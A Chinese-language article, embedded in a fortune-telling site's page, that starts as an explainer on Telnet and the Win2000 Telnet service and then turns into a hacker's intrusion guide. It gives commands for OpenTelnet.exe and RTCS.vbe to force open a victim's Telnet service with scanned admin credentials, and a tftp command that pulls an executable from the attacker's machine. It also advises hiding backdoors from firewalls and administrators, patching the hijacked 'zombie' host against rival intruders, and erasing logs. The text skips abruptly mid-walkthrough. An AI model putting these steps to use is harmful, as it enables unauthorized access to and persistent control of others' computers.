易經起名 |
|
姓名測名 自助選名 公司測名 姓名大全 公司名庫 五行字典 手機號碼 測字算命 擇日吉兇 靈簽預測 六十四卦 三才吉兇 八十一數 中外詩詞 萬 年 歷 |
百家姓氏 個人起名 公司起名 示例實例 取名申請 索取查詢 付款方法 商標起名 預測婚姻 親子孕育 測試網速 在線視頻 在線電視 在線禮佛 發送祝福 |
|
Telnet的應用不僅方便了我們進行遠程登錄,也給hacker們提供了又一種入侵手段和后門,但無論如何,在你盡情享受Telnet所帶給你的便捷的同時,你是否真正的了解Telnet呢? 二遠程登錄 Telnet服務雖然也屬于客戶機/服務器模型的服務,但它更大的意義在于實現了基于Telnet協議的遠程登錄(遠程交互式計算),那么就讓我們來認識一下遠程登錄. 1遠程登陸的基本概念 先來看看什么叫登錄:分時系統允許多個用戶同時使用一臺計算機,為了保證系統的安全和記帳方便,系統要求每個用戶有單獨的帳號作為登錄標識,系統還為每個用戶指定了一個口令.用戶在使用該系統之前要輸入標識和口令,這個過程被稱為'登錄'.遠程登陸是指用戶使用Telnet命令,使自己的計算機暫時成為遠程主機的一個仿真終端的過程.仿真終端等效于一個非智能的機器,它只負責把用戶輸入的每個字符傳遞給主機,再將主機輸出的每個信息回顯在屏幕上. 2遠程登陸的產生及發展 我們可以先構想一個提供遠程文字編輯的服務,這個服務的實現需要一個接受編輯文件請求和數據的服務器以及一個發送此請求的客戶機.客戶機將建立一個從本地機到服務器的TCP連接,當然這需要服務器的應答,然后向服務器發送鍵入的信息(文件編輯信息),并讀取從服務器返回的輸出.以上便是一個標準而普通的客戶機/服務器模型的服務.似乎有了客戶機/服務器模型的服務,一切遠程問題都可以解決了.然而實際并非你想象的那樣簡單,如果我們僅需要遠程編輯文件,那么剛才所構想的服務完全可以勝任,但假如我們的要求并不是這么簡單,我們還想實現遠程用戶管理,遠程數據錄入,遠程系統維護,想實現一切可以在遠程主機上實現的操作,那么我們將需要大量專用的服務器程序并為每一個可計算服務都使用一個服務器進程,隨之而來的問題是:遠程機器會很快對服務器進程應接不暇,并淹沒在進程的海洋里(我們在這里排除最專業化的遠程機器).那么有沒有辦法解決呢?當然有,我們可以用遠程登錄來解決這一切.我們允許用戶在遠地機器上建立一個登錄會話,然后通過執行命令來實現更一般的服務,就像在本地操作一樣.這樣,我們便可以訪問遠地系統上所有可用的命令,并且系統設計員不需提供多個專用地服務器程序.問題發展到這里好像前途一片光明了,用遠程登錄總應該解決問題了吧,但要實現遠程登陸并不簡單.不考慮網絡設計的計算機系統期望用戶只從直接相連的鍵盤和顯示器上登錄,在這種機器上增加遠程登陸功能需要修改機器的操作系統,這是極其艱巨也是我們盡量避免的.因此我們應該集中力量構造遠程登陸服務器軟件,雖然這樣也是比較困難的.為什么說這樣做也比較困難呢?舉個例子來說:一般,操作系統會為一些特殊按鍵分配特殊的含義,比如本地系統將'Ctrl+C'解釋為:'終止當前運行的命令進程'.但假設我們已經運行了遠程登陸服務器軟件,'Ctrl+C'也有可能無法被傳送到遠地機器,如果客戶機真的將'Ctrl+C'傳到了遠地機器,那么'Ctrl+C'這個命令有可能不能終止本地的進程,也就是說在這里很可能會產生混亂.而且這僅僅是遇到的難題之一.但盡管有技術上的困難,系統編程人員還是設法構造了能夠應用于大多數操作系統的遠程登陸服務器軟件,并構造了充當客戶機的應用軟件.通常,客戶機軟件取消了除一個鍵以外的所有鍵的本地解釋,并將這些本地解釋相應的轉換成遠地解釋,這就使得客戶機軟件與遠地機器的交互,就如同坐在遠程主機面前一樣,從而避免了上述所提到的混亂.而那個唯一例外的鍵,可以使用戶回到本地環境.將遠程登陸服務器設計為應用級軟件,還有另一個要求,那就是需要操作系統提供對偽終端(pseudoterminal)的支持.我們用偽終端描述操作系統的入口點,它允許像Telnet服務器一樣的程序向操作系統傳送字符,并且使得字符像是來自本地鍵盤一樣.只有使用這樣的操作系統,才能將遠程登陸服務器設計為應用級軟件(比如Telnet服務器軟件),否則,本地操作系統和遠地系統傳送將不能識別從對方傳送過來的信息(因為它們僅能識別從本地鍵盤所鍵入的信息),遠程登陸將宣告失敗.將遠程登陸服務器設計為應用級軟件雖然有其顯著的優點:比將代碼嵌入操作系統更易修改和控制服務器.但其也有效率不高的缺點(后面的內容將會給予解釋),好在用戶鍵入信息的速率不高,這種設計還是可以接受的. 3遠程登錄的工作過程 使用Telnet協議進行遠程登陸時需要滿足以下條件:在本的計算機上必須裝有包含Telnet協議的客戶程序:必須知道遠程主機的Ip地址或域名:必須知道登錄標識與口令. Telnet遠程登錄服務分為以下4個過程: 1)本地與遠程主機建立連接.該過程實際上是建立一個TCP連接,用戶必須知道遠程主機的Ip地址或域名: 2)將本地終端上輸入的用戶名和口令及以后輸入的任何命令或字符以NVT(NetVirtualTerminal)格式傳送到遠程主機.該過程實際上是從本地主機向遠程主機發送一個IP數據報 3)將遠程主機輸出的NVT格式的數據轉化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執行結果 4)最后,本地終端對遠程主機進行撤消連接.該過程是撤銷一個TCP連接 上面的內容只是討論了遠程登陸最基本的東西,其中的復雜和編程人員的艱辛是我們難以想象的,不知道你在舒服的使用Telnet的同時,是否想到了這些! 三Telnet協議 我們知道Telnet服務器軟件是我們最常用的遠程登錄服務器軟件,是一種典型的客戶機/服務器模型的服務,它應用Telnet協議來工作.那么,什么是Telnet協議?它都具備哪些特點呢? 1基本內容 Telnet協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標準協議.應用Telnet協議能夠把本地用戶所使用的計算機變成遠程主機系統的一個終端.它提供了三種基本服務: 1)Telnet定義一個網絡虛擬終端為遠的系統提供一個標準接口.客戶機程序不必詳細了解遠的系統,他們只需構造使用標準接口的程序 2)Telnet包括一個允許客戶機和服務器協商選項的機制,而且它還提供一組標準選項 3)Telnet對稱處理連接的兩端,即Telnet不強迫客戶機從鍵盤輸入,也不強迫客戶機在屏幕上顯示輸出. 2適應異構 為了使多個操作系統間的Telnet交互操作成為可能,就必須詳細了解異構計算機和操作系統.比如,一些操作系統需要每行文本用ASCII回車控制符(CR)結束,另一些系統則需要使用ASCII換行符(LF),還有一些系統需要用兩個字符的序列回車-換行(CR-LF):再比如,大多數操作系統為用戶提供了一個中斷程序運行的快捷鍵,但這個快捷鍵在各個系統中有可能不同(一些系統使用CTRL+C,而另一些系統使用ESCAPE).如果不考慮系統間的異構性,那么在本地發出的字符或命令,傳送到遠地并被遠地系統解釋后很可能會不準確或者出現錯誤.因此,Telnet協議必須解決這個問題.為了適應異構環境,Telnet協議定義了數據和命令在Internet上的傳輸方式,此定義被稱作網絡虛擬終端NVT(NetVirtualTerminal).它的應用過程如下: 對于發送的數據:客戶機軟件把來自用戶終端的按鍵和命令序列轉換為NVT格式,并發送到服務器,服務器軟件將收到的數據和命令,從NVT格式轉換為遠地系統需要的格式:對于返回的數據:遠地服務器將數據從遠地機器的格式轉換為NVT格式,而本地客戶機將將接收到的NVT格式數據再轉換為本地的格式.對于NVT格式的詳細定義,有興趣的朋友可以去查找相關資料. 3傳送遠地命令 我們知道絕大多數操作系統都提供各種快捷鍵來實現相應的控制命令,當用戶在本地終端鍵入這些快捷鍵的時候,本地系統將執行相應的控制命令,而不把這些快捷鍵作為輸入.那么對于Telnet來說,它是用什么來實現控制命令的遠地傳送呢?Telnet同樣使用NVT來定義如何從客戶機將控制功能傳送到服務器.我們知道USASCII字符集包括95個可打印字符和33個控制碼.當用戶從本地鍵入普通字符時,NVT將按照其原始含義傳送:當用戶鍵入快捷鍵(組合鍵)時,NVT將把它轉化為特殊的ASCII字符在網絡上傳送,并在其到達遠地機器后轉化為相應的控制命令.將正常ASCII字符集與控制命令區分主要有兩個原因: 1)這種區分意味著Telnet具有更大的靈活性:它可在客戶機與服務器間傳送所有可能的ASCII字符以及所有控制功能: 2)這種區分使得客戶機可以無二義性的指定信令,而不會產生控制功能與普通字符的混亂. 4數據流向 上面我們提到過將Telnet設計為應用級軟件有一個缺點,那就是:效率不高.這是為什么呢?下面給出Telnet中的數據流向,數據信息被用戶從本地鍵盤鍵入并通過操作系統傳到客戶機程序,客戶機程序將其處理后返回操作系統,并由操作系統經過網絡傳送到遠地機器,遠地操作系統將所接收數據傳給服務器程序,并經服務器程序再次處理后返回到操作系統上的偽終端入口點,最后,遠地操作系統將數據傳送到用戶正在運行的應用程序,這便是一次完整的輸入過程:輸出將按照同一通路從服務器傳送到客戶機.因為每一次的輸入和輸出,計算機將切換進程環境好幾次,這個開銷是很昂貴的.還好用戶的鍵入速率并不算高,這個缺點我們仍然能夠接受. 5強制命令 我們應該考慮到這樣一種情況:假設本地用戶運行了遠地機器的一個無休止循環的錯誤命令或程序,且此命令或程序已經停止讀取輸入,那么操作系統的緩沖區可能因此而被占滿,如果這樣,遠地服務器也無法再將數據寫入偽終端,并且最終導致停止從TCP連接讀取數據,TCP連接的緩沖區最終也會被占滿,從而導致阻止數據流流入此連接.如果以上事情真的發生了,那么本地用戶將失去對遠地機器的控制.為了解決此問題,Telnet協議必須使用外帶信令以便強制服務器讀取一個控制命令.我們知道TCP用緊急數據機制實現外帶數據信令,那么Telnet只要再附加一個被稱為數據標記(datemark)的保留八位組,并通過讓TCP發送已設置緊急數據比特的報文段通知服務器便可以了,攜帶緊急數據的報文段將繞過流量控制直接到達服務器.作為對緊急信令的相應,服務器將讀取并拋棄所有數據,直到找到了一個數據標記.服務器在遇到了數據標記后將返回正常的處理過程. 6選項協商 由于Telnet兩端的機器和操作系統的異構性,使得Telnet不可能也不應該嚴格規定每一個telnet連接的詳細配置,否則將大大影響Telnet的適應異構性.因此,Telnet采用選項協商機制來解決這一問題.Telnet選項的范圍很廣:一些選項擴充了大方向的功能,而一些選項制涉及一些微小細節.例如:有一個選項可以控制Telnet是在半雙工還是全雙工模式下工作(大方向):還有一個選項允許遠地機器上的服務器決定用戶終端類型(小細節).Telnet選項的協商方式也很有意思,它對于每個選項的處理都是對稱的,即任何一端都可以發出協商申請:任何一端都可以接受或拒絕這個申請.另外,如果一端試圖協商另一端不了解的選項,接受請求的一端可簡單的拒絕協商.因此,有可能將更新,更復雜的Telnet客戶機服務器版本與較老的,不太復雜的版本進行交互操作.如果客戶機和服務器都理解新的選項,可能會對交互有所改善.否則,它們將一起轉到效率較低但可工作的方式下運行.所有的這些設計,都是為了增強適應異構性,可見Telnet的適應異構性對其的應用和發展是多么重要. 上面討論了一些原理方面的東西,雖然我們在Telnet的使用過程中很難接觸到這一層面,但我認為了解這些是有意義的,它會給我們帶來許多啟示.下面讓我們來看看Win2000的Telnet服務. 四Win2000的Telnet服務 其實從應用層面上,Win2000的Telnet服務并沒有什么可說的,絕大部分內容你都可以從HELP文件中得到,我在此只是把它稍微整理一下而已. 1基本配置 Win2000為我們提供了Telnet客戶機和服務器程序:Telnet.exe是客戶機程序(Client),tlntsvr.exe是服務器程序(server),同時它還為我們提供了Telnet服務器管理程序tlntadmn.exe.Windows2000默認安裝了Telnet服務,但是并沒有默認啟動. 下面給出HELP文件中Telnet服務的一部分默認設置 AllowTrustedDomain:是否允許域用戶訪問.默認值是1,允許信任域用戶訪問.可以改為0:不允許域用戶訪問(只允許本地用戶). DefaultDomain:可以對與該計算機具有信任關系的任何域設置.默認值是".". DefaultShell:顯示shell安裝的路徑位置.默認值是:%systemroot%\System32\Cmd.exe/q/k MaxFailedLogins:在連接終止之前顯示嘗試登錄失敗的最大次數.默認是3. LoginScript:顯示Telnet服務器登錄腳本的路徑位置.默認的位置就是“%systemroot%\System32\login.cmd”,你可以更改腳本內容,這樣登錄進Telnet的歡迎屏幕就不一樣了. NTLM:NTLM身份驗證選項.默認是2.可以有下面這些值 0:不使用NTLM身份驗證. 1:先嘗試NTLM身份驗證,如果失敗,再使用用戶名和密碼. 2:只使用NTLM身份驗證. TelnetPort:顯示telnet服務器偵聽telnet請求的端口.默認是:23.你也可以更改為其他端口. 以上各項設置你可以使用tlntadmn.exe(Telnet服務器管理程序)來進行非常方便的配置,配置后需要重新啟動Telnet服務.【 2NTLM 提到了telnet就不能不提NTLM,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員帳號和密碼,想簡單通過NTLM也并非易事,況且win2000中的telnet默認僅以NTLM方式驗證身份,這就讓我們不得不關注NTLM這個東東,那么什么是NTLM呢?【 早期的SMB協議在網絡上明文傳輸口令,后來出現了"LANManagerChallenge/Response"驗證機制,簡稱LM,它十分簡單以至很容易被破解,微軟隨后提出了Windows NT挑戰/響應驗證機制,即NTLM.現在已經有了更新的NTLMv2以及Kerberos驗證體系.NTLM工作流程是這樣的:【 1,客戶端首先在本地加密當前用戶的密碼成為密碼散列 2,客戶端向服務器發送自己的帳號,這個帳號是沒有經過加密的,明文直接傳輸 3,服務器產生一個16位的隨機數字發送給客戶端,作為一個challenge(挑戰) 4,客戶端再用加密后的密碼散列來加密這個challenge,然后把這個返回給服務器.作為response(響應) 5,服務器把用戶名,給客戶端的challenge,客戶端返回的response這三個東西,發送域控制器 6,域控制器用這個用戶名在SAM密碼管理庫中找到這個用戶的密碼散列,然后使用這個密碼散列來加密challenge. 7,域控制器比較兩次加密的challenge,如果一樣,那么認證成功.【 從上面的過程我們可以看出,NTLM是以當前用戶的身份向Telnet服務器發送登錄請求的,而不是用你掃到的對方管理員的帳戶和密碼登錄,顯然,你的登錄將會失敗.舉個例子來說,你家的機器名為A(本地機器),你入侵的機器名為B(遠地機器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的管理員帳號是Administrator,密碼是5678,當你想Telnet到B時,NTLM將自動以當前用戶的帳號和密碼作為登錄的憑據來進行上面的7項操作,即用xinxin和1234,而并非用你掃到的Administrator和5678,且這些都是自動完成的,根本不給你插手的機會,因此你的登錄操作將失敗.【 由于Telnet服務器對NTLM的使用有3個選項,所以當你Telnet遠地機器時,會顯示下面情況中的一種:【 1)身份驗證選項=0時 ===================================== Microsoft?Windows?Version5.00(Build2195) WelcometoMicrosoftTelnetService TelnetServerBuild5.00.99201.1 login: password:【 \\為0時不使用NTML身份驗證,直接輸入用戶名和密碼,比如你可以輸入掃到的Administrator和5678【 2)身份驗證選項=1時 ===================================== NTLMAuthenticationfailedduetoinsufficientcredentials.Pleaseloginwithcleartextusernameandpassword Microsoft?Windows?Version5.00(Build2195) WelcometoMicrosoftTelnetService TelnetServerBuild5.00.99201.1 login: password:【 \\先嘗試NTLM身份驗證,如果失敗,再使用用戶名和密碼,其實這種方式對于我們來說,與上一種方式沒什么區別【 3)身份驗證選項=2時 ===================================== NTLMAuthenticationfailedduetoinsufficientcredentials.Pleaseloginwithcleartextusernameandpassword ServerallowsNTLMauthenticationonly Serverhasclosedconnection 遺失對主機的連接. C:\>【 \\仔細看看上面的顯示,根本沒有給你輸入用戶名和密碼的機會,直接斷開連接,掃到了密碼也是白掃【 所以對于入侵者來說,NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:【 1通過修改遠程注冊表更改telnet服務器配置,將驗證方式從2改為1或0: 2使用NTLM.exe,上傳后直接運行,可將telnet服務器驗證方式從2改為1: 3在本地建立掃描到的用戶,以此用戶身份開啟telnet客戶機并進行遠程登錄: 4使用軟件,比如opentelnet.exe(需要管理員權限且開啟IPC管道) 5使用腳本,如RTCS,(需要管理員權限但不依賴IPC管道)【 基本上是以上的5種,其中后兩種是我們比較常用的開telnet的手法,而且使用方法十分簡單,命令如下:【 OpenTelnet.exe\\serverusernamepasswordNTLMAuthortelnetport OpenTelnet.exe\\服務器地址管理員用戶名密碼驗證方式(填0或1)telnet端口 cscriptRTCS.vbetargetIPusernamepasswordNTLMAuthortelnetport cscriptRTCS.vbe<目標IP><管理員用戶名><密碼><驗證方式> 呵呵,其實就是隨處看看,看看他的系統配置和版本(用typec:\boot.ini來知道pro版或server版),看看都裝了什么服務或軟件(從目錄名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是國外的機器,看也看不懂),看看他的用戶情況,總之就是盡可能多的了解系統,為一會裝后門摸底.【 2使用tftp傳送文件【 想必大家都遇到過在telnet中傳輸文件的問題,因為我們習慣了在ipc管道中的文件傳輸,所以有些朋友喜歡用netshareipc$來打開管道,進而利用copy來傳輸文件.不過這樣反而麻煩,既然我們已經得到了shell,我們可以用TFPT命令來完成這一切【 什么是TFTP呢?【 用TFTP(TrivialFileTransferProtocol)來實現文件的傳送是一種基于UDP連接的文件傳輸,一般是使用Windows自帶的tftp.exe和一個TFTP服務器端軟件構成一個完整的傳輸結構.它是這樣使用的:首先運行本地的TFTPServer(比如tftpd32.exe)軟件并保證始終開啟直至傳輸全部完成,然后在telnet中(當然你也可以在其他shell中)運行下面的命令:【 C:\>tftp–iipgetxinxin.exec:\abc\xinxin.exe【 其中ip為你自己機器的ip,且上傳文件要與TFTP服務器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤abc目錄下了(其實是從tftp服務器下載來的)需要指出的是,如果使用代理IP,你將不能實現與外部網絡的文件傳送.因為你的代理網關在進行數據封裝的時候會將自己的IP地址加入到你的數據報中,代替你的內部網絡地址,所以在外部網絡進行MAC尋址時是找不到你這臺TFTP服務器的.【 3安置后門 安置后門放在第二步好像早了點,如果你入侵還有其他目的,比如以破壞為主,或者是來修改主頁的,那么這些事情當然可以在安置后門之前做:如果你只是想得到一只肉雞,那就沒什么可說的了,安后門吧.后門的種類繁多,也給我們提供了很大的選擇余地,能夠根據具體情況選擇合適的后門的確是一門學問.常用的后門一般有:木馬,asp木馬,遠程控制軟件,克隆帳戶,建立并隱藏帳戶,telnet,telnet擴展的shell,終端服務等.安置一個好的后門通常要注意以下幾點:【 1不會被防火墻查殺及阻礙通信:被加入病毒庫的后門最好加殼以逃過防火墻,盡量用低端口通信,以免被防火墻屏蔽.【 2最大限度增加隱蔽性:如果你選擇遠程控制軟件,要注意被控端的安裝提示和小圖標,以及是否同步畫面:如果你在帳戶上做文章,要盡量保持在cmd和用戶管理中都不出破綻:如果你選擇放木馬或telnet擴展,要注意文件和進程的隱藏:如果新開了終端服務(入侵前并沒有開),一定要該掉3389這個顯眼的端口,且越低越好.【 3不要當管理員不存在:這是一個大忌,許多朋友在只有默認帳戶的機器上建立類似'hacking'的管理員帳戶,真是無知者無畏呀.所以安置后門的時候,想想管理員疏忽的地方會在哪里.【 4打補丁【 如果想獨霸肉雞,就要會打補丁,要知道對肉雞的競爭是很激烈的.怎么打補丁呢?這個也要問?想想你是怎么進來的吧.算了,提示一下,除了修補大的漏洞以外(上傳官方補丁并運行),也要注意它的共享,ipc$共享(最好都關閉),可疑端口,容易被利用的服務等.不過打補丁也要注意隱蔽性的,不要讓管理員發現大的改動.【 5清除日志 可以手動或利用軟件,如果不太會就去找相關教材吧,在這里我不詳細介紹了. |
|
01劃的字 02劃的字 03劃的字 04劃的字 05劃的字 06劃的字 07劃的字 08劃的字 09劃的字 10劃的字 11劃的字 12劃的字 13劃的字 14劃的字 15劃的字 |
16劃的字 17劃的字 18劃的字 19劃的字 20劃的字 21劃的字 22劃的字 23劃的字 24劃的字 25劃的字 26劃的字 27劃的字 28劃的字 29劃的字 30劃的字 |
|
瓷都起名算命網:http://jigenxinxi.cn 閩ICP備05010233號 聯系人:賴老師 手機:13599118052 QQ:2059407 電話:0595-22655052 |